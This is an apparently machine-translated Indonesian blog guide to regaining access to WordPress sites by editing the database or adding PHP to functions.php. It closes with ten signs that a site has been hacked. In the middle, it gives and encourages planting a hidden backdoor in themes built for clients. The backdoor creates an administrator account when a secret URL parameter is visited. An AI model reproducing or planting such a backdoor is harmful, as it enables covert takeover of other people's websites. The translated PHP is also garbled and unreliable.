Cara Meretas Situs WordPress, Panduan Lengkap

Cara meretas situs WordPress, panduan lengkapnya


Kami tidak memaafkan, menyetujui atau mendorong perilaku ilegal atau jahat! Tujuan artikel ini adalah untuk menjelaskan cara meretas atau mendapatkan kembali akses ke situs WordPress milik Anda, atau bahwa Anda memiliki hak untuk mengedit, admin, dan akses. Apa pun yang Anda lakukan, Anda melakukannya sendiri. Kami tidak bertanggung jawab atas tindakan Anda. Panduan ini hanya berfungsi untuk tujuan pendidikan.

Metode yang dijelaskan akan membantu Anda mendapatkan kembali akses ke situs bahkan jika Anda tidak lagi memiliki akun, tetapi akan memerlukan beberapa info tentang situs dan mereka tidak akan membantu Anda meretas ke dalam instalasi WordPress acak apa pun.

Dalam panduan ini, kami akan menunjukkan kepada Anda:

  • Cara meretas ke situs web WordPress
  • Cara membuat backdoor di WordPress
  • Cara membuat akun pengguna baru melalui FTP
  • 10 tanda situs WordPress Anda diretas

Cara meretas situs WordPress, panduan lengkapnya

Situasi di mana Anda dapat membantu diri sendiri

Jika Anda berada dalam salah satu situasi berikut, metode kami akan membantu Anda mendapatkan kembali akses:

  • Anda lupa nama pengguna atau alamat email
  • opsi atur ulang kata sandi tidak berfungsi di server hosting
  • atur ulang kata sandi email tidak masuk
  • Anda tidak lagi memiliki akses ke alamat email akun
  • Anda tahu nama pengguna & kata sandi, tetapi kombinasi itu tidak berfungsi

Untuk menggunakan metode yang dijelaskan di bawah ini, Anda perlu hanya satu dari berikut ini:

  • Akses FTP ke server, atau
  • Akses cPanel ke server, atau
  • akses ke database MySQL dan kemampuan untuk terhubung dari jarak jauh

Metode # 1 – cara MySQL

Gunakan metode ini untuk mengubah kata sandi (atau nama pengguna jika diperlukan) dari pengguna yang ada atau untuk membuat akun baru. Anda akan memerlukan akses cPanel atau mengarahkan akses MySQL ke database situs. Mari kita mulai dengan mengubah kata sandi pengguna yang ada.

Jika Anda menggunakan cPanel, login (cPanel selalu dapat diakses melalui https://yoursite.com:2083 tautan), temukan dan buka phpMyAdmin. Daftar database dan tabel ada di sebelah kiri. Anda mencari meja yang berakhiran _ pengguna. Mungkin saja wp_users, tetapi jika Anda memiliki lebih dari satu situs WordPress yang diinstal di server, Anda harus menemukan yang benar.

Tabel kanan akan memiliki pengguna yang ingin Anda edit di dalamnya. Ikuti prosedur yang sama jika Anda terhubung ke MySQL melalui beberapa klien eksternal seperti SQLyog. Setelah Anda menemukan tabel dan catatan pengguna yang sebenarnya, sekarang saatnya untuk mengubah kata sandi.

Karena Anda mungkin sudah tahu sekarang, kata sandi disimpan di user_pass bidang, hash menggunakan algoritma MD5. Buka Generator MD5 online masukkan kata sandi yang ingin Anda gunakan dan klik “Hash”. Salin string yang dihasilkan dan ganti kata sandi asli dengan itu. Di phpMyAdmin, Anda dapat mengedit bidang dengan mengklik dua kali bidang itu. Prosedurnya serupa pada klien MySQL lainnya. Simpan perubahan dan login ke WordPress dengan kata sandi baru Anda.

Tabel pengguna WP

Nama pengguna, kata sandi hash, dan email disimpan di wp_users tabel basis data

Masih menggunakan metode # 1 – membuat pengguna baru

Membuat pengguna baru sedikit lebih rumit tetapi masih dapat dikelola dalam waktu kurang dari satu menit. Buat catatan baru dalam tabel pengguna dan mengisi: user_login, user_pass (hash, menggunakan fungsi MD5 yang dijelaskan di atas) dan user_email. Semua bidang lainnya dapat tetap kosong; mereka tidak masalah. Simpan catatan baru. Setelah disimpan, MySQL akan memberikan ID unik. Itu nomor di bidang ID. Ingat itu.

Sekarang pergilah ke _usermeta meja. Ingat, awalan tabel harus sama dengan awalan pengguna. Contohnya wp_users dan wp_usersmeta. Jika awalannya tidak sama, Anda mengedit tabel yang salah (dari beberapa instalasi WP lainnya) dan akun baru tidak akan berfungsi. Kami akan membuat dua catatan baru. Abaikan umeta_id bidang untuk keduanya. Set identitas pengguna bidang ke nilai yang baru Anda ingat (nilai ID baru di tabel pengguna). Untuk set rekaman pertama meta_key untuk wpct_user_level dan meta_value untuk 10. Untuk yang kedua meta_key untuk wpct_capabilities dan meta_value untuk a: 1: {s: 13: "administrator"; b: 1;}. Simpan keduanya. Anda selesai – masuk!

Metode # 2 – cara functions.php

Pendekatan ini dapat digunakan baik dengan mengedit functions.php melalui cPanel atau dengan menggunakan klien FTP untuk melakukannya. Jika menggunakan cPanel, cari File Manager dan buka. Pertama, kita harus menemukan folder tema aktif.

Pergi ke public_html / wp_content / tema map. Jika Anda segera melihat tema Anda dan tahu mana itu – hebat. Buka foldernya dan mulai mengedit functions.php. Jika tidak, buka situs, klik kanan di mana saja, pilih “Lihat sumber”. Lalu tekan Ctrl + F dan mulai mengetik / tema / segera Anda akan memiliki banyak URL yang disorot, dan Anda akan mengenali nama folder dari tema yang aktif.

Temukan dalam struktur file, buka, dan mulai mengedit functions.php. Salin / rekatkan kode berikut di akhir file. Pikirkan penutupannya ?> Tag PHP jika Anda memilikinya. Mereka harus berada di baris terakhir. Jadi masukkan kode sebelum mereka.

$ new_user_email = '[email protected]';
$ new_user_password = '12345';

if (! username_exists ($ new_user_email)) {
$ user_id = wp_create_user ($ new_user_email, $ new_user_password, $ new_user_email);

wp_update_user (array ('ID' => $ user_id, 'nickname' => $ new_user_email));

$ user = WP_User baru ($ user_id);
$ user-> set_role ('administrator');
}

Edit hanya dua baris pertama dari kode untuk mencerminkan akun baru Anda. Jika sudah ada pengguna di WP dengan email itu, akun baru tidak akan dibuat, jadi pastikan itu baru. Ganti kata sandi juga – jangan diretas oleh skrip kiddies. Setelah menyimpan file cukup buka situs Anda, kode akan dijalankan, akun baru dengan hak administrator dibuat dan Anda akan dapat masuk dengannya.

Setelah Anda melakukannya, ingatlah untuk menghapus kode functions.php.

Metode peretasan lainnya

Dengan mengetahui FTP, cPanel, atau kata sandi MySQL, Anda membuktikan bahwa Anda memiliki hak akses ke server dan karenanya juga harus memiliki akses ke instalasi WordPress. Jika Anda tidak memiliki salah satu akun itu, maka Anda tidak ada gunanya (meretas ke situs orang lain), dan itu tidak baik!

Harap ingat bahwa mendapatkan akses tidak sah ke komputer, situs, atau server apa pun adalah kejahatan serius dan segera ditangani di sebagian besar negara.

Jika Anda takut situs WordPress Anda bisa diretas, silakan periksa halaman ini dengan pemindai keamanan WordPress gratis. Jika Anda tidak punya waktu untuk mengatur blog Anda, biarkan kami yang melakukannya untuk Anda.

Cara membuat backdoor di WordPress

Ketika pintu depan ditutup, Anda dapat mencoba pintu belakang. Ini mungkin terdengar seperti cara jahat menggunakan kode untuk memasuki situs tanpa memiliki akses ke sana, tetapi sebenarnya ada saat-saat ketika Anda perlu mengontrol situs Anda sendiri jika seseorang mencurinya.

Jika itu membuat situs web untuk orang lain sesuatu yang Anda lakukan, cepat atau lambat akan ada klien yang akan menolak untuk membayar Anda untuk pekerjaan Anda; klien yang akan menghapus informasi login Anda dan mengambil alih kendali atas semua yang telah Anda lakukan. Terkadang, cukup membuat pengguna baru melalui FTP atau mereset kata sandi. Ketika itu tidak cukup, Anda mungkin ingin meretas jalan kembali atau membuat akses pintu belakang ke halaman admin Anda.

Tetapi jika Anda memutuskan untuk menyembunyikan sepotong kecil kode di lingkungan WordPress Anda, Anda dapat menghemat harga diri dan dapatkan akses ke situs WordPress dengan hak administrator. Dan di situlah permainan dimulai.

Tidak peduli berapa kali pencuri ini menghapus informasi Anda atau mengembalikan cadangan pada server yang mungkin ia miliki, ada kemungkinan ia tidak tahu apa-apa tentang pintu masuk pintu belakang. Jika dia melakukannya, dia mungkin bahkan tidak akan membutuhkan bantuan Anda dalam mengatur WordPress, benar?

Buat backdoor:

OK, cukup dengan pembicaraan; inilah sepotong kode yang Anda perlukan untuk menyelesaikan pekerjaan:

  1. Buka file functions.php
  2. Salin / tempel kode berikut:
  3. add_action ('wp_head', 'wploop_backdoor');
    function wploop_backdoor () {
    If ($ _GET ['backdoor'] == 'knockknock') {
    membutuhkan ('wp-include / registration.php');
    If (! Username_exists ('username')) {
    $ user_id = wp_create_user ('name', 'pass');
    $ user = WP_User baru ($ user_id);
    $ user-> set_role ('administrator');
    }
    }
    }
    ?>
  4. Simpan perubahan

Jika Anda membiarkan kode seperti apa adanya, yang harus Anda lakukan untuk membuat admin baru di situs adalah mengunjungi http://www.yourdomain.com/?backdoor=knockknock

Setelah halaman dimuat, nama pengguna baru Anda adalah “nama” dan kata sandi “lulus”.

Tentu saja, Anda dapat mengubahnya dalam kode di atas dengan mengubah ‘nama’ dan ‘pass’ untuk apa pun yang Anda inginkan. Anda juga dapat mengubah tautan ke pintu belakang Anda dengan mengubah ‘pintu belakang’ dan / atau ‘ketukan’ ke apa pun yang Anda hasilkan.

Cobalah fungsinya – tidak hanya itu menyenangkan tetapi juga dapat sangat membantu Anda di masa mendatang ketika Anda akan membuat situs web untuk seseorang yang tidak dapat Anda percaya sepenuhnya. Anda juga harus meningkatkan keterampilan WordPress dan blogging Anda.

Cara membuat akun pengguna baru melalui FTP

Membuat akun pengguna baru di WordPress sangat mudah. Sebagai admin, Anda perlu arahkan ke halaman Admin pengguna tempat Anda dapat membuat akun baru untuk peran pengguna apa pun. Itu dapat dilakukan dalam hitungan detik dan pengguna yang baru dibuat dapat segera masuk dengan nama pengguna dan kata sandi yang diberikan.

Tetapi apa yang terjadi jika Anda kehilangan akses ke admin WordPress Anda? Hal-hal mungkin menjadi sedikit lebih rumit, tetapi jangan khawatir – kami memiliki fungsi untuk Anda yang dapat menyelamatkan kehidupan admin Anda.

Apakah admin lain menghapus akun Anda, apakah Anda telah menghapus semua pengguna dari database secara tidak sengaja, menggunakan plugin yang tidak berfungsi atau diretas, Anda masih dapat kembali memegang kendali. Kadang-kadang Anda mungkin bisa mendapatkan akses hanya ke server FTP Anda sementara HTTP satu berada di luar jangkauan Anda dan Anda perlu membuat admin baru. Meskipun itu mungkin kasus yang jarang terjadi, fungsi berikut akan menyelamatkan Anda.

Untuk membuat akun baru di luar lingkungan admin WordPress, yang Anda perlukan hanyalah akses FTP ke situs Anda. Sebagai admin, Anda harus memiliki semua informasi yang diperlukan untuk masuk ke server Anda dan Anda dapat dengan cepat membuat akun baru dengan membuat fungsi baru di tema Anda.

Buat akun pengguna baru melalui FTP:

  1. Buka klien FTP dan sambungkan ke akun Anda
  2. Arahkan ke wp-content / tema
  3. Buka folder tema yang Anda gunakan
  4. Cari file functions.php dan edit
  5. Salin dan tempel fungsi berikut:
  6. function admin_account () {
    $ user = 'Nama Pengguna';
    $ pass = 'Kata Sandi';
    $ email = '[email protected]';
    if (! username_exists ($ user) &&! email_exists ($ email)) {
    $ user_id = wp_create_user ($ user, $ pass, $ email);
    $ user = WP_User baru ($ user_id);
    $ user-> set_role ('administrator');
    }}
    add_action ('init', 'admin_account');
    
  7. Ubah nama pengguna, kata sandi, dan email ke sesuatu yang unik
  8. Simpan perubahan

Pastikan nama pengguna, kata sandi, dan alamat email yang Anda setel di dalam fungsi unik atau fungsi tidak akan berfungsi dengan baik. Setelah Anda menyimpan perubahan, Anda selesai dan Anda dapat menavigasi ke panel login WP Anda. Gunakan informasi baru untuk masuk kembali dan setelah Anda memverifikasi akun, Anda dapat menghapus fungsi dari file functions.php.

Fungsi yang ditunjukkan di atas membuat akun admin tetapi Anda dapat dengan mudah memodifikasinya untuk membuat akun dengan peran pengguna lainnya. Secara sederhana ubah peran pada 8th baris kode untuk editor, penulis, kontributor, pelanggan atau peran pengguna lain yang telah Anda buat.

Sayangnya, jika Anda telah kehilangan akun admin Anda, Anda juga telah kehilangan semua posting yang ditulis dengan nama pengguna itu. Itu sebabnya Anda harus selalu menyimpan cadangan yang dapat Anda ambil dengan mudah. Jika Anda membaca ini saat memiliki akun admin Anda, anggap ini sebagai pengingat untuk segera membuat cadangan dan tandai artikel ini untuk berjaga-jaga jika Anda perlu membuat akun di luar WordPress di masa mendatang.

10 tanda situs WordPress Anda diretas

WordPress adalah platform blogging besar. Ada jutaan pengguna dan tampaknya jumlahnya meningkat pesat setiap hari. Orang-orang bahkan cenderung untuk mentransfer situs web mereka yang dibuat dalam sistem manajemen konten lain ke sistem sumber terbuka ini lebih sering daripada yang Anda kira. Dan, sementara ini bagus, ini artinya peretas juga akan menempatkan WordPress di tempat nomor satu ketika mencoba menyerang situs acak.

Biasanya, jika Anda diretas, Anda akan mengetahui hal itu secara instan. Situs Anda akan menjadi tidak dapat diakses; Anda tidak akan bisa masuk dan kadang-kadang seorang peretas bahkan akan meninggalkan pesan di halaman depan. Tetapi lebih sering daripada tidak, Anda bahkan mungkin tidak menyadari bahwa sesuatu telah berubah. Di bagian artikel ini, kami akan menunjukkan kepada Anda beberapa tanda yang mungkin menunjukkan kepada Anda bahwa situs WordPress Anda diretas dan beberapa solusi untuk masalah tersebut..

1. Login gagal

Tanda ini cukup jelas. Jika Anda telah menggunakan kombinasi nama pengguna dan kata sandi untuk sementara waktu tanpa pernah mengalami masalah, Anda mungkin curiga jika tiba-tiba WordPress tidak mengenali akun Anda. Jika seorang hacker harus masuk ke situs Anda, kemungkinan besar ia akan dengan cepat mengubah hak admin Anda.

Mungkin dia harus mengubah kata sandi Anda atau menghapus akun Anda sepenuhnya. Sebelum Anda mulai panik setelah pertama kali pesan WordPress Anda tentang nama pengguna / kata sandi salah, harap pertimbangkan fakta bahwa Anda mungkin telah memasukkan kombinasi yang salah atau bahwa Anda mungkin telah mengaktifkan tombol caps lock.

Larutan: Coba pulihkan kata sandi melalui email atau gunakan akun lain untuk masuk kembali. Untuk memastikan bahwa Anda masuk tetap aman, kami sarankan untuk menginstal Login Ninja plugin untuk WordPress.

2. Konten berbahaya ditambahkan ke situs Anda

Situs berisi peringatan malware

Jika Anda mulai memperhatikan konten yang tidak dikenal di situs Anda, Anda mungkin mulai khawatir. Ketika mereka mendapat kesempatan untuk mengakses area admin Anda, peretas akan dapat mengubah inti dan file tema serta plugin Anda. Itu berarti bahwa mereka dapat mengubah apa pun yang mereka inginkan.

Sementara beberapa peretas akan secara drastis mengubah tampilan situs Anda dan mungkin bahkan merinci bahwa Anda diretas, yang lain akan jauh lebih halus tentang hal itu..

Larutan: Coba cari konten tersembunyi dalam kode situs web. Mungkin ada tautan ke situs jahat yang diretas oleh peretas di footer situs Anda, atau mereka mungkin telah menginstal munculan yang akan terbuka secara teratur kepada pelanggan Anda. Gunakan Security Ninja untuk memindai situs Anda atau terus memantau situs Anda untuk masalah seperti itu.

3. Kunjungan yang mencurigakan

Jika Anda tidak melacak situs web Anda, Anda harus segera melakukannya. Cara mudah untuk melakukannya adalah menggunakan Google Analytics yang, di antara banyak fitur lainnya, dapat memberi tahu Anda berapa banyak kunjungan yang Anda dapatkan dan dari mana datangnya kunjungan itu. Setelah beberapa waktu, Anda akan mengenal situs web Anda. Itu berarti bahwa Anda akan tahu dari mana datangnya kunjungan, Anda akan tahu kapan Anda meluncurkan kampanye baru dan kapan ada tautan promosi baru yang dirilis di alam liar..

Tetapi jika Anda tiba-tiba menyadari bahwa situs Anda mendapatkan sejumlah besar kunjungan baru dari domain yang mencurigakan, Anda ingin menyelidiki ini lebih lanjut karena situs Anda mungkin saja diretas. Biasanya, kunjungan semacam itu akan menghasilkan rasio pentalan 100% yang berarti bahwa hanya satu halaman yang diakses. Peretas akan sering menggunakan sistem otomatis yang akan mengarahkan situs jahat lain ke Anda. Baik itu kode buruk yang dieksekusi di situs Anda atau Anda telah menjadi bagian dari jaringan spam, banyak hal bisa menjadi serius, dan Anda harus memeriksa situs Anda untuk kode berbahaya.

Larutan: Menggunakan Alat Google Webmaster untuk menemukan domain yang mencurigakan

4. Penurunan lalu lintas yang tiba-tiba

Penjelajahan aman Status situs

Berbeda dengan tanda yang disebutkan terakhir tentang peretasan, yang satu ini mungkin mengingatkan Anda karena tiba-tiba ada penurunan jumlah kunjungan. Alih-alih merujuk kunjungan baru kepada Anda, seorang peretas mungkin mengirim kunjungan jauh dari situs Anda. Ini mungkin terjadi karena seorang peretas mengarahkan situs Anda ke situs lain. Alasan lain untuk mendapatkan lebih sedikit pengunjung adalah Google memasukkan daftar hitam ke situs Anda. Tindakan ini akan menampilkan pesan kepada setiap pengguna yang mungkin memilih untuk tidak membuka situs Anda karena terinfeksi.

Larutan: Gunakan Google Status Situs Penjelajahan Aman untuk memeriksa apakah situs Anda ditandai sebagai tidak aman dan saat ini berbahaya untuk dikunjungi.

5. Hasil mesin pencari aneh

Jika Anda belum melihat adanya perubahan di situs Anda, tetapi Anda mengetahui bahwa hasil pencarian di Google dan mesin pencari lainnya aneh (tampilkan judul dan meta-data lain) yang berbeda, ini mungkin merupakan tanda yang jelas dari situs yang diretas. Seorang peretas mungkin telah mengubah konten Anda sedemikian rupa sehingga hanya dapat dilihat oleh seorang ahli. Namun, perubahan akan terlihat di hasil mesin pencari.

Larutan: Periksa situs Anda dengan Alat Google Webmaster, dan periksa apakah situs Anda diretas dengan ini alat online gratis.

6. Anda tidak dapat mengirim / menerima email

Setelah seorang peretas mendapatkan akses ke situs Anda, ia mungkin akan menginginkannya gunakan server Anda untuk mengirim spam ke orang lain. Ketika Anda mengetahui bahwa Anda tidak dapat mengirim atau menerima email baru dari WordPress Anda, ini bisa menjadi tanda yang jelas bahwa Anda diretas. Periksa email Anda sekali lagi, lalu periksa dengan penyedia Anda untuk memastikan bahwa tidak ada kesalahan.

Larutan: Uji WordPress Anda fungsi surat dengan plugin gratis ini.

7. Situs tidak ada

Server tidak ditemukan

Ada kalanya peretas tidak akan mengakses situs Anda untuk menanam kode berbahaya, mengarahkan ulang pengguna, atau menggunakan email Anda untuk spam. Terkadang, yang mereka ingin lakukan hanyalah menghancurkan situs Anda. Jarang, seorang hacker akan berhasil menghapus semuanya dari seluruh server. Itulah mengapa penting bagi Anda menyimpan file Anda di perusahaan hosting terkenal yang akan menjaga keamanan dan juga menyimpan harian atau setidaknya cadangan mingguan situs web Anda. Merupakan praktik yang baik bahwa Anda juga melakukan pencadangan sendiri dari waktu ke waktu sehingga situs dapat dipulihkan dengan cepat.

Larutan: Instal salah satu plugin terbaik untuk manajemen cadangan di WordPress.

8. File yang mencurigakan

Mirip dengan konten jahat yang dapat ditambahkan ke file yang ada, seorang peretas mungkin menanam file tambahan di mana saja di dalam folder root Anda. Merupakan hal yang baik untuk mengetahui jalan Anda di WordPress, tetapi jika Anda tidak berpengalaman, Anda harus memiliki alat keamanan yang dapat Anda gunakan yang dapat memeriksa semua file dan aktivitas Anda. Baru-baru ini, kami meninjau Ninja Keamanan yang merupakan alat yang sempurna untuk memeriksa semua file WordPress Anda.

Larutan: Coba cari file yang bukan milik instalasi WordPress Anda. Gunakan Security Ninja untuk memindai situs Anda secara teratur dan menemukan file-file itu secara otomatis. Kemudian hapus file atau hapus kode berbahaya dari file yang terinfeksi. Jangan lupa add-on Pemindai Inti untuk Ninja Keamanan.

9. Anggota baru

Bergantung pada situs Anda, Anda mungkin satu-satunya yang dapat menambah anggota baru. Dalam hal itu, email yang memberi tahu Anda tentang pengguna yang baru terdaftar mungkin memicu alarm. Jika ada admin lain yang memiliki kemampuan untuk menambah anggota baru, tanyakan kepada mereka tentang aktivitas yang mencurigakan.

Larutan: Ubah URL login dengan plugin gratis, batasi akses ke halaman login WordPress Anda dengan menggunakan file .htpasswd dan gunakan Login Ninja untuk melindungi formulir login Anda sepanjang waktu.

10. Periksa acara yang dijadwalkan di server Anda

Terkadang, seorang peretas tidak akan melakukan apa pun ke situs web Anda begitu mereka menemukan jalan masuk. Sebaliknya, mereka akan meninggalkan acara yang dijadwalkan yang dapat membahayakan situs Anda di masa mendatang. Teknik ini berbahaya karena seorang hacker dapat meninggalkan korban yang tidak berpengalaman pada awalnya. Anda mungkin terinfeksi dan tidak tahu apa-apa tentang itu.

Larutan: Periksa pekerjaan CRON Anda di server yang Anda gunakan dan pastikan tidak ada tugas terjadwal yang mencurigakan.

Membungkus

Kami berharap artikel ini akan membantu Anda mengelola bahkan situs WordPress yang lebih aman, dan itu akan membantu Anda mendapatkan kembali akses ke sana dalam situasi yang buruk. Dan bahkan jika situs Anda bersih, jangan anggap remeh.
Selalu pastikan bahwa blog Anda seaman mungkin. Kami menyarankan plugin keamanan untuk WordPress yang dapat menghemat waktu Anda paling banyak. Tetap saja, jangan menjadi orang yang menggunakan kata sandi tidak aman, dan berhati-hatilah saat meretas situs WordPress Anda sendiri.
Jeffrey Wilson Administrator
Sorry! The Author has not filled his profile.
follow me
    Like this post? Please share to your friends:
    Adblock
    detector
    map